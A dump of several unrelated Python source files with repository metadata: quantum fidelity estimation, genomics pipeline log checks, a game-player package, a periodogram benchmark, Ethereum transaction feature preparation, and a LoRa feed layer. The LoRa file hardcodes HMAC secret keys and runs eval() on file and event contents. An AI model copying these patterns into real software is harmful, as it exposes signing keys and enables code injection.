noisy_simulator = cast(cirq.DensityMatrixSimulator, sampler)
noisy_density_matrix = cast(
cirq.DensityMatrixTrialResult,
noisy_simulator.simulate(circuit)).final_density_matrix
if clifford_circuit and n_measured_operators is None:
measured_pauli_traces = pauli_traces
else:
measured_pauli_traces = np.random.choice(pauli_traces,
size=len(pauli_traces),
p=p)
trial_results: List[TrialResult] = []
for pauli_trace in measured_pauli_traces:
measure_pauli_string: cirq.PauliString = pauli_trace.P_i
rho_i = pauli_trace.rho_i
if samples_per_term > 0:
sigma_i = asyncio.get_event_loop().run_until_complete(
estimate_characteristic_function(circuit, measure_pauli_string,
qubits, sampler,
samples_per_term))
else:
sigma_i, _ = compute_characteristic_function(
circuit, measure_pauli_string, qubits, noisy_density_matrix)
trial_results.append(
TrialResult(pauli_trace=pauli_trace, sigma_i=sigma_i))
fidelity += sigma_i / rho_i
estimated_fidelity = fidelity / len(pauli_traces)
dfe_intermediate_result = DFEIntermediateResult(
clifford_state=clifford_state,
pauli_traces=pauli_traces,
trial_results=trial_results)
return estimated_fidelity, dfe_intermediate_result
def parse_arguments(args):
parser = argparse.ArgumentParser('Direct fidelity estimation.')
parser.add_argument('--n_measured_operators',
default=10,
type=int,
help='Numbers of measured operators (Pauli strings). '
'If the circuit is Clifford, these operators are '
'computed by sampling for the basis of stabilizers. If '
'the circuit is not Clifford, this is a random sample '
'all the possible operators. If the value of this '
'parameter is None, we enumerate all the operators '
'which is 2**n_qubit for Clifford circuits and '
'4**n_qubits otherwise.')
parser.add_argument('--samples_per_term',
default=0,
type=int,
help='Number of samples per trial or 0 if no sampling.')
return vars(parser.parse_args(args))
def main(*, n_measured_operators: Optional[int], samples_per_term: int):
circuit, qubits = build_circuit()
noise = cirq.ConstantQubitNoiseModel(cirq.depolarize(0.1))
print('Noise model: %s' % (noise))
noisy_simulator = cirq.DensityMatrixSimulator(noise=noise)
estimated_fidelity, _ = direct_fidelity_estimation(
circuit,
qubits,
noisy_simulator,
n_measured_operators=n_measured_operators,
samples_per_term=samples_per_term)
print('Estimated fidelity: %f' % (estimated_fidelity))
if __name__ == '__main__':
main(**parse_arguments(sys.argv[1:]))
| true | true |
f73c168f7295be6aa1f210c9bc054ac85feb6d13 | 1,407 | py | Python | trisicell/commands/mcalling/z01status.py | faridrashidi/trisicell | 4db89edd44c03ccb6c7d3477beff0079c3ff8035 | [
"BSD-3-Clause"
] | 2 | 2021-07-02T13:53:15.000Z | 2021-11-16T03:14:36.000Z | trisicell/commands/mcalling/z01status.py | faridrashidi/trisicell | 4db89edd44c03ccb6c7d3477beff0079c3ff8035 | [
"BSD-3-Clause"
] | 58 | 2021-06-14T17:14:39.000Z | 2022-03-11T19:32:54.000Z | trisicell/commands/mcalling/z01status.py | faridrashidi/trisicell | 4db89edd44c03ccb6c7d3477beff0079c3ff8035 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python
# Copyright (c) 2021, Farid Rashidi Mehrabadi All rights reserved.
# ======================================================================================
# Author : Farid Rashidi Mehrabadi (farid.rashidimehrabadi@nih.gov)
# Last Update: Aug 14, 2020
# Description: cleaning
# ======================================================================================
import glob
def _is_ok(name):
file = open(name)
body = file.read()
file.close()
a = body.count("&& echo Done! )")
b = body.count("Done!\n")
if a == 0 and b == 1:
return True
else:
return a == b
def after01(config):
if config["isrna"]:
steps = [
"s01indexing",
"s02mapping",
"s03indexing",
"s04mapping",
"s05calling",
"s06jointcalling",
"s07merging",
"s08annotating",
"s09expressing",
"s10velocitying",
]
else:
steps = [
"s02mapping",
"s04mapping",
"s05calling",
"s06jointcalling",
"s07merging",
"s08annotating",
]
conds = {}
for cond in steps:
x = 0
for file in glob.glob(f"{config['tmpdir']}/log/{cond}/*.o"):
if not _is_ok(file):
x += 1
conds[cond] = x
print(conds)
| 24.258621 | 88 | 0.428571 |
import glob
def _is_ok(name):
file = open(name)
body = file.read()
file.close()
a = body.count("&& echo Done! )")
b = body.count("Done!\n")
if a == 0 and b == 1:
return True
else:
return a == b
def after01(config):
if config["isrna"]:
steps = [
"s01indexing",
"s02mapping",
"s03indexing",
"s04mapping",
"s05calling",
"s06jointcalling",
"s07merging",
"s08annotating",
"s09expressing",
"s10velocitying",
]
else:
steps = [
"s02mapping",
"s04mapping",
"s05calling",
"s06jointcalling",
"s07merging",
"s08annotating",
]
conds = {}
for cond in steps:
x = 0
for file in glob.glob(f"{config['tmpdir']}/log/{cond}/*.o"):
if not _is_ok(file):
x += 1
conds[cond] = x
print(conds)
| true | true |
f73c19bb24b81831d1a00237e0f18488436e5fbc | 705 | py | Python | pelita/player/__init__.py | aspp-apac/pelita | 57f2cb0a1142495bc2c1297d3f8006092f12b0d0 | [
"BSD-2-Clause"
] | null | null | null | pelita/player/__init__.py | aspp-apac/pelita | 57f2cb0a1142495bc2c1297d3f8006092f12b0d0 | [
"BSD-2-Clause"
] | null | null | null | pelita/player/__init__.py | aspp-apac/pelita | 57f2cb0a1142495bc2c1297d3f8006092f12b0d0 | [
"BSD-2-Clause"
] | 1 | 2019-01-24T06:00:37.000Z | 2019-01-24T06:00:37.000Z |
from .base import AbstractTeam, SimpleTeam, AbstractPlayer
from .base import (SteppingPlayer, SpeakingPlayer,
RoundBasedPlayer, MoveExceptionPlayer, InitialExceptionPlayer,
DebuggablePlayer)
from .team import Team
from .RandomPlayers import RandomPlayer, NQRandomPlayer
from .FoodEatingPlayer import FoodEatingPlayer
from .SmartEatingPlayer import SmartEatingPlayer
from .RandomExplorerPlayer import RandomExplorerPlayer
from .SmartRandomPlayer import SmartRandomPlayer
from .StoppingPlayer import StoppingPlayer
SANE_PLAYERS = [
RandomPlayer,
NQRandomPlayer,
FoodEatingPlayer,
SmartEatingPlayer,
RandomExplorerPlayer,
SmartRandomPlayer]
| 29.375 | 81 | 0.791489 |
from .base import AbstractTeam, SimpleTeam, AbstractPlayer
from .base import (SteppingPlayer, SpeakingPlayer,
RoundBasedPlayer, MoveExceptionPlayer, InitialExceptionPlayer,
DebuggablePlayer)
from .team import Team
from .RandomPlayers import RandomPlayer, NQRandomPlayer
from .FoodEatingPlayer import FoodEatingPlayer
from .SmartEatingPlayer import SmartEatingPlayer
from .RandomExplorerPlayer import RandomExplorerPlayer
from .SmartRandomPlayer import SmartRandomPlayer
from .StoppingPlayer import StoppingPlayer
SANE_PLAYERS = [
RandomPlayer,
NQRandomPlayer,
FoodEatingPlayer,
SmartEatingPlayer,
RandomExplorerPlayer,
SmartRandomPlayer]
| true | true |
f73c1a94ecd776da78881c480d9a2e7f506138e7 | 2,682 | py | Python | developing/lombScargle.py | frmunozz/IrregularMatchedFilter | b64c348345b16d777839f13dc585d1816cf81ca6 | [
"MIT"
] | 2 | 2021-12-15T16:38:43.000Z | 2021-12-15T16:38:49.000Z | developing/lombScargle.py | Francisco95/Match_filter | b64c348345b16d777839f13dc585d1816cf81ca6 | [
"MIT"
] | null | null | null | developing/lombScargle.py | Francisco95/Match_filter | b64c348345b16d777839f13dc585d1816cf81ca6 | [
"MIT"
] | null | null | null | from gatspy.periodic import LombScargleFast
from scipy import signal
from astropy.stats import LombScargle
import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns
plt.style.use('seaborn-paper')
import time
"""
comparison between many implementations of lomb-scargle periodogram
"""
# 3 parts separated in time, one with slight irregularities in time sampling
# another with change of spacing and the last one with big outlier in spacing
N = 120
T = np.zeros(N)
dt_implicit = 1 / N
t0 = np.linspace(0, int(N/3)-1, int(N/3))
np.random.seed(1)
e = np.random.normal(0, dt_implicit * 0.5, N//3)
T[0:N//3] = t0 * dt_implicit + e
shift = 30 * dt_implicit
np.random.seed(2)
t0 = np.linspace(int(N/3), int(N*1/2)-1, int(N/6))
e = np.random.normal(0, dt_implicit * 0.5, N//6)
T[N//3:N//2] = shift + t0 * dt_implicit / 2 + e
np.random.seed(3)
t0 = np.linspace(int(N/2), int(N*2/3)-1, int(N/6))
e = np.random.normal(0, dt_implicit * 0.5, N//6)
T[N//2:2*N//3] = t0 * 2 * dt_implicit + e
np.random.seed(4)
t0 = np.linspace(2*N//3, N-1, N - 2*N//3)
e = np.random.normal(0, dt_implicit * 0.5, N - 2*N//3)
T[2*N//3:N] = 2 * shift + t0 * dt_implicit / 2 + e
T.sort()
# signal is sinusoidal again with same frequency
freq_of_sin = 10
s = np.sin(freq_of_sin * 2 * np.pi * T)
# apply noise
np.random.seed(1)
noise = np.random.normal(0, 0.3, N)
data = s + noise
plt.figure(0)
plt.plot(T, data, alpha=0.5)
plt.plot(T, s, "k.-")
plt.show()
t_i = time.time()
frequency, power = LombScargle(T, data).autopower()
t_f1 = time.time()
model = LombScargleFast().fit(T, data, None)
periods, power2 = model.periodogram_auto(nyquist_factor=max(frequency))
t_f2 = time.time()
pgram = signal.lombscargle(T, data, frequency, normalize=True)
t_f3 = time.time()
plt.figure(1)
plt.plot(frequency, power, 'r--', label="LS from astropy, time: {}".format(round(t_f1-t_i, 3)))
plt.plot(1 / periods, power2, 'g', alpha=0.6, label="LS from gatspy, time: {}".format(round(t_f2-t_f1, 3)))
plt.plot(frequency, pgram, 'b', label="LS from scipy, time: {}".format(round(t_f3-t_f2, 3)))
plt.xlim([0, 200])
plt.title("Lomb-Scargle periodogram comparison for {} points".format(N))
plt.xlabel("frequency [Hz]")
plt.ylabel("Lomb-Scargle Power")
plt.axvline(freq_of_sin, color='k', linestyle='solid', label="real frequency expected")
plt.axvline(freq_of_sin * 2 * np.pi, color='k', alpha=0.5, linestyle='solid', label="real angular frequency expected")
plt.legend()
plt.show()
"""
at first sight the implementation from astropy seems to be the most faster but its necessary to run
several repetitions for different numbers of points to see exactply which is more faster, for know
this is not necessary to do
"""
| 34.384615 | 118 | 0.696122 | from gatspy.periodic import LombScargleFast
from scipy import signal
from astropy.stats import LombScargle
import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns
plt.style.use('seaborn-paper')
import time
N = 120
T = np.zeros(N)
dt_implicit = 1 / N
t0 = np.linspace(0, int(N/3)-1, int(N/3))
np.random.seed(1)
e = np.random.normal(0, dt_implicit * 0.5, N//3)
T[0:N//3] = t0 * dt_implicit + e
shift = 30 * dt_implicit
np.random.seed(2)
t0 = np.linspace(int(N/3), int(N*1/2)-1, int(N/6))
e = np.random.normal(0, dt_implicit * 0.5, N//6)
T[N//3:N//2] = shift + t0 * dt_implicit / 2 + e
np.random.seed(3)
t0 = np.linspace(int(N/2), int(N*2/3)-1, int(N/6))
e = np.random.normal(0, dt_implicit * 0.5, N//6)
T[N//2:2*N//3] = t0 * 2 * dt_implicit + e
np.random.seed(4)
t0 = np.linspace(2*N//3, N-1, N - 2*N//3)
e = np.random.normal(0, dt_implicit * 0.5, N - 2*N//3)
T[2*N//3:N] = 2 * shift + t0 * dt_implicit / 2 + e
T.sort()
freq_of_sin = 10
s = np.sin(freq_of_sin * 2 * np.pi * T)
np.random.seed(1)
noise = np.random.normal(0, 0.3, N)
data = s + noise
plt.figure(0)
plt.plot(T, data, alpha=0.5)
plt.plot(T, s, "k.-")
plt.show()
t_i = time.time()
frequency, power = LombScargle(T, data).autopower()
t_f1 = time.time()
model = LombScargleFast().fit(T, data, None)
periods, power2 = model.periodogram_auto(nyquist_factor=max(frequency))
t_f2 = time.time()
pgram = signal.lombscargle(T, data, frequency, normalize=True)
t_f3 = time.time()
plt.figure(1)
plt.plot(frequency, power, 'r--', label="LS from astropy, time: {}".format(round(t_f1-t_i, 3)))
plt.plot(1 / periods, power2, 'g', alpha=0.6, label="LS from gatspy, time: {}".format(round(t_f2-t_f1, 3)))
plt.plot(frequency, pgram, 'b', label="LS from scipy, time: {}".format(round(t_f3-t_f2, 3)))
plt.xlim([0, 200])
plt.title("Lomb-Scargle periodogram comparison for {} points".format(N))
plt.xlabel("frequency [Hz]")
plt.ylabel("Lomb-Scargle Power")
plt.axvline(freq_of_sin, color='k', linestyle='solid', label="real frequency expected")
plt.axvline(freq_of_sin * 2 * np.pi, color='k', alpha=0.5, linestyle='solid', label="real angular frequency expected")
plt.legend()
plt.show()
| true | true |
f73c1b83456bab78de7b5431748ed35239621004 | 2,072 | py | Python | prepare-data2.py | mojtaba-eshghie/ethereum-rtm | 2a999ab5dcd557350922b311dbaba46f2f929d1c | [
"MIT"
] | 7 | 2021-03-06T13:27:16.000Z | 2022-02-06T03:52:23.000Z | prepare-data2.py | mojtaba-eshghie/Dynam | 4f233ea0389c107c90859043911a9bdec7465696 | [
"MIT"
] | 1 | 2021-01-04T14:17:04.000Z | 2021-01-04T14:17:04.000Z | prepare-data2.py | mojtaba-eshghie/ethereum-rtv | 2a999ab5dcd557350922b311dbaba46f2f929d1c | [
"MIT"
] | 1 | 2022-03-31T22:10:08.000Z | 2022-03-31T22:10:08.000Z | #!/usr/bin/python3
import csv
import pandas as pd
import numpy as np
import json
import subprocess
'''
with open('data/final.csv', 'r') as final_csv:
csv_reader = csv.reader(final_csv, delimiter=',')
line_count = 0
for row in csv_reader:
print(row)
'''
data = pd.read_csv('data/final.csv')
sc_balances_before_file = open('data/sc-balances-before-exec.json')
sc_balances_after_file = open('data/sc-balances-after-exec.json')
before_exec_sc_data = json.load(sc_balances_before_file)
after_exec_sc_data = json.load(sc_balances_after_file)
gas_used = []
input_sizes = []
victim_balance_deltas = []
attacker_balance_deltas = []
labels = []
tx_hashs = []
call_stack_depths = []
'''
for sc_address, before_balance in before_exec_sc_data.items():
'''
for i in range(0, data.shape[0]):
labels.append(data.iloc[i]['fuzz_string'].split(',')[-2])
tx_hashs.append(data.iloc[i]['tx_hash'])
gas_used.append(int(data.iloc[i]['gas_used']))
'''
from => is the attacker
to => is the victim
'''
attacker_addr = data.iloc[i]['from']
victim_addr = data.iloc[i]['to']
victim_balance_deltas.append(int(after_exec_sc_data[victim_addr]) - int(before_exec_sc_data[victim_addr]))
attacker_balance_deltas.append(int(after_exec_sc_data[attacker_addr]) - int(before_exec_sc_data[attacker_addr]))
# call_stack_depths
index = str(i + 26)
#print(index)
if index == '424':
call_stack_depths.append(3.3)
continue
result = subprocess.run(["./compare.py", index], stdout=subprocess.PIPE)
call_stack_depths.append(float(result.stdout))
print('Data point added for tx #{}'.format(index))
output_df = pd.DataFrame({
'tx_hash': tx_hashs,
'gas_used': gas_used,
'victim_balance_delta': victim_balance_deltas,
'attacker_balance_delta': attacker_balance_deltas,
'call_stack_depth': call_stack_depths,
'label': labels
})
output_df.to_csv('data/final_prepared.csv', index=True)
print('Successfully store the final_prepared.csv file') | 23.280899 | 116 | 0.693533 |
import csv
import pandas as pd
import numpy as np
import json
import subprocess
data = pd.read_csv('data/final.csv')
sc_balances_before_file = open('data/sc-balances-before-exec.json')
sc_balances_after_file = open('data/sc-balances-after-exec.json')
before_exec_sc_data = json.load(sc_balances_before_file)
after_exec_sc_data = json.load(sc_balances_after_file)
gas_used = []
input_sizes = []
victim_balance_deltas = []
attacker_balance_deltas = []
labels = []
tx_hashs = []
call_stack_depths = []
for i in range(0, data.shape[0]):
labels.append(data.iloc[i]['fuzz_string'].split(',')[-2])
tx_hashs.append(data.iloc[i]['tx_hash'])
gas_used.append(int(data.iloc[i]['gas_used']))
attacker_addr = data.iloc[i]['from']
victim_addr = data.iloc[i]['to']
victim_balance_deltas.append(int(after_exec_sc_data[victim_addr]) - int(before_exec_sc_data[victim_addr]))
attacker_balance_deltas.append(int(after_exec_sc_data[attacker_addr]) - int(before_exec_sc_data[attacker_addr]))
index = str(i + 26)
if index == '424':
call_stack_depths.append(3.3)
continue
result = subprocess.run(["./compare.py", index], stdout=subprocess.PIPE)
call_stack_depths.append(float(result.stdout))
print('Data point added for tx #{}'.format(index))
output_df = pd.DataFrame({
'tx_hash': tx_hashs,
'gas_used': gas_used,
'victim_balance_delta': victim_balance_deltas,
'attacker_balance_delta': attacker_balance_deltas,
'call_stack_depth': call_stack_depths,
'label': labels
})
output_df.to_csv('data/final_prepared.csv', index=True)
print('Successfully store the final_prepared.csv file') | true | true |
f73c1c8e2cf45d9105d99d64cef285da9160aa58 | 23 | py | Python | omnidice/__init__.py | sjjessop/omnidice | ca215dabe43b48d15790ad4345aa22ed654d244e | [
"MIT"
] | 2 | 2020-09-17T11:02:32.000Z | 2022-01-07T22:28:37.000Z | omnidice/__init__.py | sjjessop/omnidice | ca215dabe43b48d15790ad4345aa22ed654d244e | [
"MIT"
] | 8 | 2020-07-11T14:37:09.000Z | 2020-10-29T22:24:40.000Z | omnidice/__init__.py | sjjessop/omnidice | ca215dabe43b48d15790ad4345aa22ed654d244e | [
"MIT"
] | null | null | null |
__version__ = '1.2.1'
| 7.666667 | 21 | 0.608696 |
__version__ = '1.2.1'
| true | true |
f73c1cc3eaee375d531e87ecb437d370d043bd2c | 383 | py | Python | rod_align/_ext/rod_align/__init__.py | notantony/Grid-Anchor-based-Image-Cropping-Pytorch | 32a2dea9151c123c8e589bd196450f56cf3ef7d1 | [
"MIT"
] | 92 | 2019-09-18T12:57:54.000Z | 2022-03-22T18:57:33.000Z | rod_align/_ext/rod_align/__init__.py | notantony/Grid-Anchor-based-Image-Cropping-Pytorch | 32a2dea9151c123c8e589bd196450f56cf3ef7d1 | [
"MIT"
] | 5 | 2019-09-24T07:48:21.000Z | 2021-07-26T04:28:26.000Z | rod_align/_ext/rod_align/__init__.py | notantony/Grid-Anchor-based-Image-Cropping-Pytorch | 32a2dea9151c123c8e589bd196450f56cf3ef7d1 | [
"MIT"
] | 16 | 2019-09-24T04:26:47.000Z | 2022-02-15T10:01:06.000Z |
from torch.utils.ffi import _wrap_function
from ._rod_align import lib as _lib, ffi as _ffi
__all__ = []
def _import_symbols(locals):
for symbol in dir(_lib):
fn = getattr(_lib, symbol)
if callable(fn):
locals[symbol] = _wrap_function(fn, _ffi)
else:
locals[symbol] = fn
__all__.append(symbol)
_import_symbols(locals())
| 23.9375 | 53 | 0.639687 |
from torch.utils.ffi import _wrap_function
from ._rod_align import lib as _lib, ffi as _ffi
__all__ = []
def _import_symbols(locals):
for symbol in dir(_lib):
fn = getattr(_lib, symbol)
if callable(fn):
locals[symbol] = _wrap_function(fn, _ffi)
else:
locals[symbol] = fn
__all__.append(symbol)
_import_symbols(locals())
| true | true |
f73c1d11080f5ddf77de887ba84bca7c3e523317 | 7,782 | py | Python | 20-fs-ias-lec/groups/11-sensUI/wifi_link/lora_feed_layer.py | Kyrus1999/BACnet | 5be8e1377252166041bcd0b066cce5b92b077d06 | [
"MIT"
] | 8 | 2020-03-17T21:12:18.000Z | 2021-12-12T15:55:54.000Z | 20-fs-ias-lec/groups/11-sensUI/wifi_link/lora_feed_layer.py | Kyrus1999/BACnet | 5be8e1377252166041bcd0b066cce5b92b077d06 | [
"MIT"
] | 2 | 2021-07-19T06:18:43.000Z | 2022-02-10T12:17:58.000Z | 20-fs-ias-lec/groups/11-sensUI/wifi_link/lora_feed_layer.py | Kyrus1999/BACnet | 5be8e1377252166041bcd0b066cce5b92b077d06 | [
"MIT"
] | 25 | 2020-03-20T09:32:45.000Z | 2021-07-18T18:12:59.000Z | import crypto
import feed
import binascii
import event
import pcap
import os
class Lora_Feed_Layer:
def __init__(self):
self.verbose = 1
self.callback_sensor_feed = 0
self.callback_control_feed = 0
self.pcap_sensor = 'Sensor_Feed.pcap'
key_sensor = 'keyfile_sensor.key'
[self.sensor_feed,self.sensor_fid,self.sensor_signer] = self.create_feed(0,key_sensor,self.pcap_sensor)
self.pcap_control = 'Control_Feed.pcap'
key_control = 'keyfile_control.key'
[self.control_feed,self.control_fid,self.control_signer] = self.create_feed(1,key_control,self.pcap_control)
def get_fid_list(self):
# get list of pcap files
pcap_list = [self.pcap_sensor, self.pcap_control]
fid_list = [self.sensor_fid,self.control_fid]
return pcap_list,fid_list
# def get_fid_list(self):
# # get list of pcap files
# files = os.listdir()
# pcap_list = []
# fid_list = []
# for i in files:
# if '.pcap' in i:
# pcap_list+= [i]
# fid_list += [pcap.get_ID(i)]
# return pcap_list,fid_list
def get_sensor_feed_fid(self):
return self.sensor_fid
def get_control_feed_fid(self):
return self.control_fid
def get_feed_length(self, fid):
if fid == self.sensor_feed.fid:
return len(self.sensor_feed)
elif fid == self.control_feed.fid:
return len(self.control_feed)
return 0
def get_wired_event(self, fid, nr):
if fid == self.sensor_feed.fid:
for e in self.sensor_feed:
if (e.seq == nr):
e_trans = e
signature = e_trans.get_metabits(self.sensor_signer.get_sinfo())
e_wired = e_trans.to_wire(signature)
return e_wired
elif fid == self.control_feed.fid:
for e in self.control_feed:
if (e.seq == nr):
e_trans = e
signature = e_trans.get_metabits(self.control_signer.get_sinfo())
e_wired = e_trans.to_wire(signature)
return e_wired
return 0
def get_event_seq(self, fid, nr):
if fid == self.sensor_feed.fid:
f = self.sensor_feed
elif fid == self.control_feed.fid:
f = self.control_feed
nr_now = 0
seq = ''
f.seq = 0
f.hprev = None
for e in f:
if not f.is_valid_extension(e):
print("-> event " + str(f.seq+1) + ": chaining or signature problem")
else:
if nr_now == nr:
e_now = str(e.content())
nr_now += 1
f.seq += 1
f.hprev = event.get_hash(e.metabits)
return e_now
def get_event_content(self, fid, nr):
# reads one event from log
if fid == self.sensor_feed.fid:
f = self.sensor_feed
elif fid == self.control_feed.fid:
f = self.control_feed
nr_now = 0
e_now = ''
f.seq = 0
f.hprev = None
for e in f:
if not f.is_valid_extension(e):
print("-> event " + str(f.seq+1) + ": chaining or signature problem")
else:
if nr_now == nr:
e_now = str(e.content())
nr_now += 1
f.seq += 1
f.hprev = event.get_hash(e.metabits)
return e_now
def get_feed_content(self, fid):
# reads content from log and returns feed
if fid == self.sensor_feed.fid:
f = self.sensor_feed
elif fid == self.control_feed.fid:
f = self.control_feed
f.seq = 0
f.hprev = None
for e in f:
if not f.is_valid_extension(e):
print("-> event " + str(f.seq+1) + ": chaining or signature problem")
else:
print("-> event " + str(e.seq) + ": ok, content= " + str(e.content()))
f.seq += 1
f.hprev = event.get_hash(e.metabits)
return f
def create_event(self, fid, content):
# event is added to feed
if fid == self.sensor_feed.fid:
self.sensor_feed.write(eval(content))
elif fid == self.control_feed.fid:
self.control_feed.write(eval(content))
def append(self, fid, seq, e_wired):
len_f = self.get_feed_length(fid)
if self.verbose == 1:
print('Length Feed:'+str(len_f))
print('event seq:'+str(seq))
if len_f == seq -1 :
if fid == self.sensor_feed.fid:
self.sensor_feed._append(e_wired)
if (self.callback_sensor_feed):
self.callback_sensor_feed(self.get_event_content(fid, seq-1))
#check if valid extension
#callback
elif fid == self.control_feed.fid:
self.control_feed._append(e_wired)
if (self.callback_control_feed):
self.callback_control_feed(self.get_event_content(fid, seq-1))
#check if valid extension
#callback
else :
if self.verbose == 1:
print('Incominig event not appended')
def subscribe_sensor_feed(self, callback):
self.callback_sensor_feed = callback
return True
def subscribe_control_feed(self, callback):
self.callback_control_feed = callback
return True
def create_keyfile(self,kfile):
h = crypto.HMAC("md5")
h.create()
print("# new HMAC_MD5: share it ONLY with trusted peers")
print('{\n '+(',\n '.join(h.as_string().split(','))[1:-1])+'\n}')
keyfile = '{\n '+(',\n '.join(h.as_string().split(','))[1:-1])+'\n}'
f = open(kfile, 'w')
f.write(keyfile)
f.close()
def load_keyfile(self, fn):
with open(fn, 'r') as f:
key = eval(f.read())
if key['type'] == 'hmac_md5':
#fid = bytes.fromhex(key['feed_id'])
fid = binascii.unhexlify(key['feed_id'])
#signer = crypto.HMAC256(bytes.fromhex(key['private']))
signer = crypto.HMAC("md5", binascii.unhexlify(key['private']))
return fid, signer
def create_feed(self,type,kfile,fname):
#self.create_keyfile(kfile)
#[fid,signer] = self.load_keyfile(kfile)
#f = feed.FEED(fname, fid,signer, True)
#hardcoded
if type == 0:
fid = binascii.unhexlify(b'028140a0502894ca')
signer = crypto.HMAC("md5", binascii.unhexlify(b'1c0e070381c0e0f0783c9e4f27130904'))
if type == 1:
fid = binascii.unhexlify(b'4c261309040281c0')
signer = crypto.HMAC("md5", binascii.unhexlify(b'1b0d060381c0e0f0783c1e8fc7633198'))
#new Feeds are generatet (True)
f = feed.FEED(fname, fid, signer, True)
return f,fid,signer
def delete_feed(self, fid):
pcapf=''
try:
if fid == self.sensor_feed.fid:
pcapf = self.sensor_pcap
self.sensor_feed = 0
except:
if fid == self.control_feed.fid:
pcapf = self.control_pcap
self.control_feed = 0
try:
os.remove(pcapf)
print("removed feed:"+ pcapf)
return True
except:
print("couldn't remove feed "+ str(fid))
return False
def get_name(self,fid):
if fid == self.sensor_fid:
name = 'sensor feed'
type = 0
elif fid == self.control_fid:
name = 'control feed'
type = 1
return name,type
| 32.024691 | 116 | 0.541635 | import crypto
import feed
import binascii
import event
import pcap
import os
class Lora_Feed_Layer:
def __init__(self):
self.verbose = 1
self.callback_sensor_feed = 0
self.callback_control_feed = 0
self.pcap_sensor = 'Sensor_Feed.pcap'
key_sensor = 'keyfile_sensor.key'
[self.sensor_feed,self.sensor_fid,self.sensor_signer] = self.create_feed(0,key_sensor,self.pcap_sensor)
self.pcap_control = 'Control_Feed.pcap'
key_control = 'keyfile_control.key'
[self.control_feed,self.control_fid,self.control_signer] = self.create_feed(1,key_control,self.pcap_control)
def get_fid_list(self):
pcap_list = [self.pcap_sensor, self.pcap_control]
fid_list = [self.sensor_fid,self.control_fid]
return pcap_list,fid_list
def get_sensor_feed_fid(self):
return self.sensor_fid
def get_control_feed_fid(self):
return self.control_fid
def get_feed_length(self, fid):
if fid == self.sensor_feed.fid:
return len(self.sensor_feed)
elif fid == self.control_feed.fid:
return len(self.control_feed)
return 0
def get_wired_event(self, fid, nr):
if fid == self.sensor_feed.fid:
for e in self.sensor_feed:
if (e.seq == nr):
e_trans = e
signature = e_trans.get_metabits(self.sensor_signer.get_sinfo())
e_wired = e_trans.to_wire(signature)
return e_wired
elif fid == self.control_feed.fid:
for e in self.control_feed:
if (e.seq == nr):
e_trans = e
signature = e_trans.get_metabits(self.control_signer.get_sinfo())
e_wired = e_trans.to_wire(signature)
return e_wired
return 0
def get_event_seq(self, fid, nr):
if fid == self.sensor_feed.fid:
f = self.sensor_feed
elif fid == self.control_feed.fid:
f = self.control_feed
nr_now = 0
seq = ''
f.seq = 0
f.hprev = None
for e in f:
if not f.is_valid_extension(e):
print("-> event " + str(f.seq+1) + ": chaining or signature problem")
else:
if nr_now == nr:
e_now = str(e.content())
nr_now += 1
f.seq += 1
f.hprev = event.get_hash(e.metabits)
return e_now
def get_event_content(self, fid, nr):
if fid == self.sensor_feed.fid:
f = self.sensor_feed
elif fid == self.control_feed.fid:
f = self.control_feed
nr_now = 0
e_now = ''
f.seq = 0
f.hprev = None
for e in f:
if not f.is_valid_extension(e):
print("-> event " + str(f.seq+1) + ": chaining or signature problem")
else:
if nr_now == nr:
e_now = str(e.content())
nr_now += 1
f.seq += 1
f.hprev = event.get_hash(e.metabits)
return e_now
def get_feed_content(self, fid):
if fid == self.sensor_feed.fid:
f = self.sensor_feed
elif fid == self.control_feed.fid:
f = self.control_feed
f.seq = 0
f.hprev = None
for e in f:
if not f.is_valid_extension(e):
print("-> event " + str(f.seq+1) + ": chaining or signature problem")
else:
print("-> event " + str(e.seq) + ": ok, content= " + str(e.content()))
f.seq += 1
f.hprev = event.get_hash(e.metabits)
return f
def create_event(self, fid, content):
if fid == self.sensor_feed.fid:
self.sensor_feed.write(eval(content))
elif fid == self.control_feed.fid:
self.control_feed.write(eval(content))
def append(self, fid, seq, e_wired):
len_f = self.get_feed_length(fid)
if self.verbose == 1:
print('Length Feed:'+str(len_f))
print('event seq:'+str(seq))
if len_f == seq -1 :
if fid == self.sensor_feed.fid:
self.sensor_feed._append(e_wired)
if (self.callback_sensor_feed):
self.callback_sensor_feed(self.get_event_content(fid, seq-1))
elif fid == self.control_feed.fid:
self.control_feed._append(e_wired)
if (self.callback_control_feed):
self.callback_control_feed(self.get_event_content(fid, seq-1))
else :
if self.verbose == 1:
print('Incominig event not appended')
def subscribe_sensor_feed(self, callback):
self.callback_sensor_feed = callback
return True
def subscribe_control_feed(self, callback):
self.callback_control_feed = callback
return True
def create_keyfile(self,kfile):
h = crypto.HMAC("md5")
h.create()
print("# new HMAC_MD5: share it ONLY with trusted peers")
print('{\n '+(',\n '.join(h.as_string().split(','))[1:-1])+'\n}')
keyfile = '{\n '+(',\n '.join(h.as_string().split(','))[1:-1])+'\n}'
f = open(kfile, 'w')
f.write(keyfile)
f.close()
def load_keyfile(self, fn):
with open(fn, 'r') as f:
key = eval(f.read())
if key['type'] == 'hmac_md5':
fid = binascii.unhexlify(key['feed_id'])
signer = crypto.HMAC("md5", binascii.unhexlify(key['private']))
return fid, signer
def create_feed(self,type,kfile,fname):
if type == 0:
fid = binascii.unhexlify(b'028140a0502894ca')
signer = crypto.HMAC("md5", binascii.unhexlify(b'1c0e070381c0e0f0783c9e4f27130904'))
if type == 1:
fid = binascii.unhexlify(b'4c261309040281c0')
signer = crypto.HMAC("md5", binascii.unhexlify(b'1b0d060381c0e0f0783c1e8fc7633198'))
f = feed.FEED(fname, fid, signer, True)
return f,fid,signer
def delete_feed(self, fid):
pcapf=''
try:
if fid == self.sensor_feed.fid:
pcapf = self.sensor_pcap
self.sensor_feed = 0
except:
if fid == self.control_feed.fid:
pcapf = self.control_pcap
self.control_feed = 0
try:
os.remove(pcapf)
print("removed feed:"+ pcapf)
return True
except:
print("couldn't remove feed "+ str(fid))
return False
def get_name(self,fid):
if fid == self.sensor_fid:
name = 'sensor feed'
type = 0
elif fid == self.control_fid:
name = 'control feed'
type = 1
return name,type
| true | true |
f73c1ed57fe251a1a3555ac6e0d799368199d3bc | 3,106 | py | Python | broker/persistence/sqlite/plugin.py | javanlacerda/asperathos-manager | a85ecc53f56dfef07c7634b8f9f6cd2e1e88e1d9 | [
"Apache-2.0"
